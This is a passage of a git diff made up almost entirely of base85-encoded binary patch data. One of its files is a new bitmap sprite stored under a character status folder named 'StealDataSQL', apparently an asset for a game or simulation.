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 Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a6cd3fbe6d518ed8cc07c286e342e076c358753c GIT binary patch literal 18462 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 